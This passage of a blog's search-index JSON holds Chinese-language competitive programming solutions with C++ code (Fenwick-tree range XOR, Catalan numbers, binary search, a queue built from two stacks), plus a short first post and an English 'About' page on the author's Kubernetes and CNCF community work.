小王的积木","type":"posts"},{"content":"","date":"2018/09/02","externalUrl":null,"permalink":"/tags/xor/","section":"Tags","summary":"","title":"Xor","type":"tags"},{"content":"","date":"2018/09/02","externalUrl":null,"permalink":"/tags/binary-index-tree/","section":"Tags","summary":"","title":"Binary Index Tree","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c651\n敘述 Description # 給你一段 $N$ 個正整數的序列 $a_1∼a_N$ ，請你執行 $Q$ 筆操作。\n輸入 Input # 第一行有兩個正整數 $N,Q$ 。\n第二行有 $N$ 個非負整數 $a_i$ 。\n接下來有 $Q$ 行，每行代表一個操作。\n如果是 $0\\ l\\ r$ ，代表詢問 $[l,r]$ 區間的每個數字做 $xor$ 運算之後的值。\n如果是 $1\\ x\\ v$ ，代表將 $a_x$ 置換成 $v$ 。\n※ $xor$ 即代表C++中的位元運算「^」。\n輸出 Output # 對於每個詢問，輸出詢問區間的每個數字做 $xor$ 運算之後的值。\n範例輸入 Sample Input # 5 3 16 9 1 5 3 0 1 5 1 1 5 0 1 5 範例輸出 Sample Output # 30 11 提示 Hint # 本題共有四組測試題組，條件限制如下所示。每一組可有一或多筆測試資料，該組所有測試資料皆需答對才會獲得該組分數。 cout \u0026laquo; (16^9^1^5^3) \u0026laquo; \u0026ldquo;\\n\u0026rdquo;; 輸出即為30。\n觀察一下 xor 的性質，不然這題拿不滿XD。輸入卡很緊，記得加優化。\n題解 Solution # 遇到一般的RMQ+單點修改問題，通常有幾種解題方式\n線段樹 Segment Tree 二元索引樹（樹狀樹组） Binary Index Tree (Fenwick tree) 不過這題時限只有$0.5$秒 如果用前綴 $XOR$ 單點修改變成$O(N)$ 如果用線段樹遞迴查詢可能會有點慢（有實做過，只有$72%$，其他的被TLE） 這題可以使用BIT，也就是二元索引樹，但要如何使用呢？ （以下把二元索引樹 簡稱 BIT）\nXOR 真值表＆性質 # $A$ $B$ $A⊕B$ $0$ $0$ $0$ $1$ $0$ $1$ $0$ $1$ $1$ $1$ $1$ $0$ 恆等律：$X⊕0=X$ 歸零律：$X⊕X=0$ 自反性：$A⊕B⊕B=A⊕(B⊕B)=A⊕0=A$\n其中的歸零律跟自反性就是我們要使用的\n拿到BIT的模板應該都是求區間和\n假設我們要求$[L,R]$的區間和 是不是只要$sum(R)-sum(L-1)$？\n這題改成區間 XOR BIT 初始化就改成 XOR（程式碼 Line 15） 然後把求前綴和的 $+$ 改成 XOR（程式碼 Line 9） 就變成 前綴 XOR 了\n查詢只要輸出 $xxor(R)⊕xxor(L-1)$（程式碼 Line 37）\n單點修改呢？ 先把原本的數字跟要變成的數字做 XOR 變成 $val$（程式碼 Line 40） 利用歸零律跟自反性 後面需要更新的數字，統一跟 $val$ 做 XOR 單點修改就完成了\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); #define lowbit(x) ((x)\u0026amp;(-x)) using namespace std; const int MAXN = 1000000+2; int Origin[MAXN+1]={0}; int BITS[MAXN+1]={0}; int N,Q; int xxor(int x){ int ans=0; for(;x;x-=lowbit(x)) ans^=BITS[x]; return ans; } void init(int n) { for(int x = 1; x \u0026lt;= n; ++x) { BITS[x] = Origin[x]; int y = x - lowbit(x); for(int i = x-1; i \u0026gt; y; i -= lowbit(i)) BITS[x] ^= BITS[i]; } } void update(int x,int val){ for(int i=x;i\u0026lt;=N;i+=lowbit(i)) BITS[i]^=val; } int main(){ _ cin\u0026gt;\u0026gt;N\u0026gt;\u0026gt;Q; for(int i=1;i\u0026lt;=N;i++) cin\u0026gt;\u0026gt;Origin[i]; init(N); while(Q--){ int choice,x,y; cin\u0026gt;\u0026gt;choice\u0026gt;\u0026gt;x\u0026gt;\u0026gt;y; if(choice==0){ cout\u0026lt;\u0026lt;(xxor(y)^xxor(x-1))\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; } else{ int OO=Origin[x]^y; Origin[x]=y; update(x,OO); } } return 0; } 後記 Afterword # 每次做到有關 XOR 的題型 都讓我想到有一題原本 時間 $O(N\\log{N})$ 空間 $O(N)$ 最後複雜度可以壓在 時間 $O(N)$ 空間 $O(1)$ 下一篇就來寫這題的報告書\n","date":"2018/09/02","externalUrl":null,"permalink":"/posts/zj-c651/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c651\n","title":"c651. 三、區間xor(RXQ)","type":"posts"},{"content":"","date":"2018/09/02","externalUrl":null,"permalink":"/tags/fenwick-tree/","section":"Tags","summary":"","title":"Fenwick Tree","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c453\n敘述 Description # 某特技團經常表演疊羅漢的節目。表演時通常在最底層會先站好一排連續的 n 個人，然後在任意連續兩人的肩膀上面便可支撐另一個人站在這兩個人的上一層。在第二層如果有連續兩人的話，當然可繼續往第三層疊上一個人，以此類推。為了增加趣味性，有時會組合出不同的型態展現在觀眾的眼前。舉例來說，如果 n=3，也就是說底層共有 3 個人，那麼就有下列 5 種不同的組合。 如果 n=4，也就是說底層共有 4 個人，那麼你也可以列舉一下，便可知道共有下列 14 種不同的組合。現在針對不同的 n 值，請你撰寫一個程式來計算共有幾種不同的組合？\n輸入 Input # 第一行有一個正整數 n，1 ≤ n ≤ 20。\n輸出 Output # 請輸出共有幾種不同的組合。\n範例輸入 Sample Input # //範例輸入一 3 //範例輸入二 4 範例輸出 Sample Output # //範例輸出一 5 //範例輸出二 14 提示 Hint # 題解 Solution # 動態規劃 Dynamic Programming # 感覺這題很DP，不過 oToToT 大大真的寫出了 DP 算式：\n令$dp[i][j]$代表第$i$斜排他的長度要是$j$時的方法數 $dp[i][j]=\\sum_{k=j-1}^{i-1}dp[i-1][k]$ 因為會發現若是這裡要擺長度為$j$那前面最少要擺長度$j-1$，所以可以枚舉前一斜條擺放的數量來計算這個狀態的方法數。 而對於n個斜條的總方法數，只要再枚舉最後一斜條有幾個人就好了。\n我果然很低端，回我的當下我真的看不懂QQ\n卡特蘭數 Catalan Number # （至於為何會想到卡特蘭數，請滑到後記） 這是我理解的版本，連結\n$C(0,0)=1$ $C(1,1)=C(0,0)$ $C(2,2)=C(1,0)+C(1,1)$ $C(3,3)=C(2,0)+C(2,1)+C(2,2)$ $C(4,4)=C(3,0)+C(3,1)+C(3,2)+C(3,3)$ \u0026hellip; $C(N,N)=C(N-1,0)+C(N-1,1)+\u0026hellip;+C(N-1,N-1)$\n可以把這些想像成\n$N$層上面$N-1-0$層有幾種組合 $N$層上面$N-1-1$層有幾種組合 \u0026hellip; $N$層上面$N-1-i$層有幾種組合 \u0026hellip; $N$層上面$1$層有幾種組合 $N$層上面$0$層有幾種組合 再加上 涂家銘 大大提供給我參考的圖： 稍微轉一轉是不是就變成高中熟悉的最短路徑組合呢？\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; long long int catalan(long long int N){ long long int n2=2*N; long long int ans=1; for(long long int i=N+1;i\u0026lt;=n2;i++){ ans*=i; ans/=(i-N); } ans/=(N+1); return ans; } int main(){ _ long long int query[21]={0,1}; for(long long int i=1;i\u0026lt;21;i++){ query[i]=catalan(i); } int N; cin\u0026gt;\u0026gt;N; cout\u0026lt;\u0026lt;query[N]\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 這題我一開始打開 Google 搜尋「0 1 2 5 14 OEIS」（我認為0位是0種，所以一開始打0）作弊開好開滿 但沒想到一打開就是傳說中的卡特蘭數列 只有聽到「清大程式解題營」的 旺陽學長 提到過 但沒有寫過這種題目\n不過 涂家銘 大大表示：\n幫社團出練習賽題目其中一題用 DP 做會 TLE （練習賽也太狠了吧QQ）\n的確，畢竟這題的最大值$N=20$，如果$N$更大，有機會爆 TLE 了\n","date":"2018/08/31","externalUrl":null,"permalink":"/posts/zj-c453/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c453\n","title":"c453. TOI2003 第二題：疊羅漢","type":"posts"},{"content":"","date":"2018/08/31","externalUrl":null,"permalink":"/tags/combinatorics/","section":"Tags","summary":"","title":"Combinatorics","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=a625\n敘述 Description # 你可以把一疊的卡片凸出桌子的邊緣多遠呢？如果你有一張卡，你最大可以凸出卡片長度的一半。有兩張卡時，你可以把上面那張的一半凸出下面的那張，而下面的那張則有三分之一凸出桌子的邊緣，總凸出長度則為$ 1/2 + 1/3 = 5/6 $張卡片長度。總之，你可以把$ n $張卡片凸出$ 1/2 + 1/3 + 1/4 + \u0026hellip; + 1/(n+1) $張卡片的長度，其中最上面那張凸出$ 1/2 $於第二張的外面，第二張凸出$ 1/3 $於第三張的外面，第三張凸出$ 1/4$，以此類推，最底下那張則凸出$ 1/(n+1)$。如下圖所示。 輸入 Input # 每筆測資一行，含有一個正浮點數 c (代表所要凸出的總長度)，其值最小為 0.01，最大為 5.20；這個數含有三位數字。\n輸出 Output # 輸出要達成所需的凸出長度最少需要幾張卡片。請參照範例輸出的格式。\n範例輸入 Sample Input # 1.00 3.71 0.04 5.19 範例輸出 Sample Output # 3 card(s) 61 card(s) 1 card(s) 273 card(s) 提示 Hint # 題解 Solution # $1$張卡片長度為$1/2$ $2$張卡片長度為$1/2+1/3$ $3$張卡片長度為$1/2+1/3+1/4$ $\u0026hellip;$以此類推$\u0026hellip;$ $n$張卡片長度為$1/2+1/3+1/4+\u0026hellip;+1/(n+1)$ 先建表，最大卡片數頂多$276$張 最後再用二分搜尋找卡片數就好\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ double query[277]={0},a=0.0; for(int i=1;a\u0026lt;=5.20;i++){ a+=(1.0/(i+1)); query[i]=a; } double enter; while(cin\u0026gt;\u0026gt;enter){ int l=0,r=277; while(l+1\u0026lt;r){ int mid=(l+r)/2; if(enter\u0026gt;query[mid]){ l=mid; } else{ r=mid; } } cout\u0026lt;\u0026lt;l+1\u0026lt;\u0026lt;\u0026#34; card(s)\u0026#34;\u0026lt;\u0026lt;\u0026#39;\\n\u0026#39;; } return 0; } 後記 Afterword # 這一題在 ICPC Live Archive 跟 POJ 找得到 ICPC Live Archive 題目代碼：2294 - Hangover POJ 題目代碼：1003 - Hangover ZeroJudge 拿到 AC 之後 就到 ICPC Live Archive 繳交，但直接被 WA 掉 我還以為是我二分搜寫錯 但仔細看了它們的 Input 後 才知道程式輸入$0.00$才會結束 改完這題就 AC 了\n","date":"2018/08/30","externalUrl":null,"permalink":"/posts/zj-a625/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=a625\n","title":"a625. 5. Overhanging Cards","type":"posts"},{"content":"","date":"2018/08/30","externalUrl":null,"permalink":"/tags/binary-search/","section":"Tags","summary":"","title":"Binary Search","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c700\n敘述 Description # 「測資中有若干行輸入，請你實作 queue 的幾種操作：\npush $X(0≤X\u0026lt;2^{32})$: 將 $X$ 加入隊列\npop: 輸出隊列最前方的數字並刪除，你可以假設此時隊列不是空的」\n小W本來想隨便寫寫交差了事，卻發現 STL 的 queue 壞了！\n再看看題目，原來底下附註一行小字：請用兩個 stack 完成這題。\n於是小W希望你能用以下代號寫一張紙條告訴他該怎麼做。\n1: 讀入 push X 並將 X 放到堆疊一\n2: 讀入 push X 並將 X 放到堆疊二\n3: 讀入 pop ，將堆疊一頂端的元素輸出並刪除\n4: 讀入 pop ，將堆疊二頂端的元素輸出並刪除\n5: 將堆疊一頂端的元素取出並放至堆疊二\n6: 將堆疊二頂端的元素取出並放至堆疊一\n如果取出元素時堆疊為空或者讀入 push/pop 的順序與輸入測資不符，你會害小W拿到一個WA。\n輸入 Input # 見題目和範例。\n輸出 Output # 輸出一行你要傳給小W的內容。\n範例輸入 Sample Input # push 111 push 222 pop pop 範例輸出 Sample Output # 範例輸出一: 1234 範例輸出二: 12544 範例輸出三: 1143 範例輸出四: 1313 範例輸出五: 1133 提示 Hint # 輸入至多 100000 行。\n以範例輸入而言，範例輸出一、二會拿到AC。\n範例輸出三會拿到WA，因為操作4時堆疊二是空的。\n範例輸出四也會拿到WA，因為輸入順序是push-\u0026gt;push-\u0026gt;pop-\u0026gt;pop，但是1313的操作分別為push-\u0026gt;pop-\u0026gt;push-\u0026gt;pop。\n範例輸出五的操作過程完全合法，但依據先進先出的原則，111應該比222早離開queue，若以1133的方式操作，222將比111早輸出，所以會拿到WA。\n題解 Solution # 第一篇解題報告書就給這題啦！\nHackerrank 可以找到這個問題（這題就是要強制你使用 Stack） 實作 Queue 需要用到兩個 Stack 分別命名為$S1$跟$S2$\n$S1$用來記錄輸入的東西 $S2$就是把$S1$的內容顛倒過來\n$push$的時候先放入$S1$裡面 $pop$的時候先檢查$S2$有沒有東西\n如果有，$S2$的頂端$pop$掉 如果沒有，先$S1$所有內容$pop$到$S2$，再讓$S2$的頂端$pop$掉\n了解怎麼用 Stack 實作 Queue 就可以回到這題\n依照上面的做法，可以使用代號$1,4,5$的組合或$2,3,6$的組合來完成這題 並且用$2$個整數紀錄$2$個 Stack 的內容數量 分別命名為$x_1$跟$x_2$\n如果要$push$，就輸出$1$，把$x_1+1$ 如果要$pop$，就先檢查$x_2$是否大於$0$\n如果有，就輸出$4$，把$x_2-1$ 如果沒有，先輸出$x_1$個$5$，讓$x_2$加上$x_1$，並且把$x_1$歸零，再輸出$4$，把$x_2-1$\n這樣就可以來寫 Code 啦！\n程式碼 Accepted Code # #include \u0026lt;bits/stdc++.h\u0026gt; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); using namespace std; int main(){ _ string enter; int total1=0,total2=0; while(cin\u0026gt;\u0026gt;enter){ if(enter==\u0026#34;push\u0026#34;){ long long int a; cin\u0026gt;\u0026gt;a; total1++; cout\u0026lt;\u0026lt;1; } else{ if(total2){ cout\u0026lt;\u0026lt;4; total2--; } else{ for(int i=0;i\u0026lt;total1;i++){ cout\u0026lt;\u0026lt;5; } total2+=total1; if(total2){ cout\u0026lt;\u0026lt;4; total2--; } total1=0; } } } return 0; } 後記 Afterword # 這題有沒有其他解法？ 這題是 Special Judge，應該是有吧，但\u0026hellip;\u0026hellip;我沒有想到 上面這個解法是算簡單啦 如果有更好的解法，我還會再寫上去啦！\n","date":"2018/08/29","externalUrl":null,"permalink":"/posts/zj-c700/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c700\n","title":"c700. 壞掉的隊列(queue)","type":"posts"},{"content":"","date":"2018/08/29","externalUrl":null,"permalink":"/tags/data-structures/","section":"Tags","summary":"","title":"Data Structures","type":"tags"},{"content":"","date":"2018/08/29","externalUrl":null,"permalink":"/tags/queue/","section":"Tags","summary":"","title":"Queue","type":"tags"},{"content":"","date":"2018/08/29","externalUrl":null,"permalink":"/tags/stack/","section":"Tags","summary":"","title":"Stack","type":"tags"},{"content":"先恭喜亞運台灣 🇹🇼 奪得金牌 網路中文 也很大方的免費讓人註冊.tw\n於是，這個 Blog 就誕生了 第一次用 Hexo 架設 用 Markdown 來寫寫看瑣碎事\n首頁嘛\u0026hellip;\u0026hellip;晚點再把坑補上 寫到這裡就這樣吧！之後再補\n","date":"2018/08/26","externalUrl":null,"permalink":"/posts/hello-world/","section":"Posts","summary":"先恭喜亞運台灣 🇹🇼 奪得金牌 網路中文 也很大方的免費讓人註冊.tw\n","title":"Hello Hexo! Test By Jerry Yang","type":"posts"},{"content":"Hi! My name is ChengHao, and I specialize in Kubernetes / DevOps / SRE. I occasionally share beginner 101 tutorials in various communities and enjoy documenting my learning journey. I\u0026rsquo;m currently a Cloud Native Computing Foundation (CNCF) Ambassador, a Kubestronaut, a Co-organizer of the Cloud Native Taiwan User Group (CNTUG), and a Maintainer of the open-source project Kubespray. Feel free to reach out if you have any questions about CNCF or Kubernetes—I\u0026rsquo;d love to chat!\nCommunity # CNCF Ambassador @ Cloud Native Computing Foundation Kubestronaut @ Cloud Native Computing Foundation Lead Organizer @ Kubernetes Community Days Taipei 2025 (KCD Taipei 2025) Co-organizer @ Kubernetes Community Days Taipei 2024 (KCD Taipei 2024) Volunteer @ GopherDay Taiwan 2024 Co-organizer @ Kubernetes Community Days Taiwan 2023 (KCD Taiwan 2023) Co-organizer @ Cloud Native Taiwan User Group Project Contribution # Maintainer @ Kubespray (Jun. 2025 ~ Present) Code Reviewer @ Kubespray (Aug. 2024 ~ Jun. 2025) Enhancement - Shadow @ Kubernetes v1.37 (May 2026 ~ Aug. 2026) Enhancement - Shadow @ Kubernetes v1.36 (Jan. 2026 ~ Apr. 2026) Release Signal - Lead @ Kubernetes v1.35 (Sep. 2025 ~ Dec. 2025) Release Signal - Shadow @ Kubernetes v1.34 (May 2025 ~ Aug. 2025) Release Signal - Shadow @ Kubernetes v1.33 (Jan. 2025 ~ Apr. 2025) Release Signal - Shadow @ Kubernetes v1.32 (Sep. 2024 ~ Dec. 2024) Linux Foundation Mentorship (LFX'24 Term 2) mentee @ Kubespray (Jun. 2024 ~ Aug. 2024) Public Talk # Date Topic Activity Slide Record 2026.08.08 Is open source really free? A CNCF Ambassador\u0026rsquo;s perspective on the talent, corporate, and policy trilemma COSCUP x UbuCon Asia 2026 TBA TBA 2026.07.29 How Community Infrastructure Helped Grow Taiwan’s Open Source Contributors KubeCon + CloudNativeCon Japan 2026 Slide Record 2026.07.26 Contributing to Apple Container Without Writing Swift: A Cloud Native Engineer\u0026rsquo;s Open Source Journey iPlayground 2026 Slide TBA 2026.04.10 DiskImage Builder 介紹：以 Kubespray CI 打造 RockyLinux 10 Cloud Image 為例 CNTUG meetup #72 Slide N/A 2026.03.13 Kubernetes v1.36 的開發雜記：那些困在 Alpha 加護病房太久的 Metrics Grafana \u0026amp; Friends Taipei #1 Slide N/A 2026.01.13 雲端原⽣標準的商業價值：從開源中立到企業 AI 轉型之路 NKP Tour Taipei 2026 Slide N/A 2025.10.23 Kubespray 與 IaC 實踐：自動化建置地端 Kubernetes KubeSummit 2025 Slide Record 2025.10.20 Cloud Native Ecosystem in Taiwan Cathay Open Source Meetup #2 Slide N/A 2025.08.10 適合新手的非程式碼貢獻：Kubernetes Release Team 簡介 CNTUG 2025/08 Meetup #69 / COSCUP 2025 Slide TBA 2025.04.29 深入 Tetragon：以 eBPF 打造安全可觀測性的動態防護 CNTUG 2025/04 Meetup #67 \u0026amp; DevOps Taiwan Meetup #69 Slide N/A 2024.11.28 Recap: KubeCon + CloudNativeCon NA 2024 CNTUG 2024/11 Meetup #63 Slide N/A 2024.10.24 Kubernetes v1.31 簡單雜談 CNTUG 2024/10 Meetup #62 Slide N/A 2024.08.03 CNCF 開源貢獻新人指北 KCD Taipei 2024 TBA Record 2023.09.04 從 0 開始打造私有雲的 Kubernetes 監控吧！ KCD Taiwan 2023 TBA Record 2022.12.03 加入 DevOps/SRE 之前你可能必須知道的數件事 GDG DevFest Taipei 2022 TBA N/A 2022.09.04 從 0 到 GitHub Actions，以 Hexo Blog 為例設計專屬的 CI/CD Pipeline SITCON 2022 Slide Record Unless otherwise specified, all presentations are licensed under CC BY-SA 4.0 (Attribution-ShareAlike 4.0 International). Certificate # 2024.12.25 CKS: Certified Kubernetes Security Specialist 2024.12.21 CKAD: Certified Kubernetes Application Developer 2024.12.14 CKA: Certified Kubernetes Administrator 2024.12.09 KCSA: Kubernetes and Cloud Native Security Associate 2024.12.09 KCNA: Kubernetes and Cloud Native Associate Honor # 2025 IT Matters Awards - Open Source Community Contribution Award 2022 iThome Ironman DevOps - Honorable Mention The 2020 ICPC Asia Taipei-Hsinchu Site Programming Contest - Rank 53/101 (Bronze Model) The 2020 ICPC Taiwan National Contest for Private Universities, NCPU 2020 - Rank 10/56 (Silver Model) The 2019 ICPC Asia Taipei-Hsinchu Site Programming Contest - Attendee The 2019 ICPC Taiwan National Contest for Private Universities, NCPU 2019 - Rank 6/45 (Silver Model) 2016 TOI Primary Round Attendee 2016 Taiwan Regular Senior High School Science and Information Subject Ability Competition - East - Information - Sixth Place 2015 Taiwan Regular Senior High School Science and Information Subject Ability Competition - East - Information - Honorable Publication # 碩士論文：Genome-wide association study and metabolic pathway analysis of osteoporosis Statistics # ","date":"26 August 2018","externalUrl":null,"permalink":"/en/about/","section":"Jerry Yang's Blog","summary":"","title":"About","type":"page"},{"content":"Older posts and historical content preserved for reference and context.\n","externalUrl":null,"permalink":"/en/categories/archive/","section":"Categories","summary":"","title":"Archive","type":"categories"},{"content":"","externalUrl":null,"permalink":"/en/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"Topics around cloud-native architectures, patterns, and ecosystems, including CNCF projects and modern infrastructure practices.\n","externalUrl":null,"permalink":"/en/categories/cloud-native/","section":"Categories","summary":"","title":"Cloud Native","type":"categories"},{"content":"Practical technical notes, deep dives, and problem-solving records from day-to-day engineering work.\n","externalUrl":null,"permalink":"/en/categories/engineering-notes/","section":"Categories","summary":"","title":"Engineering Notes","type":"categories"},{"content":"","externalUrl":null,"permalink":"/en/series/","section":"Series","summary":"","title":"Series","type":"series"}]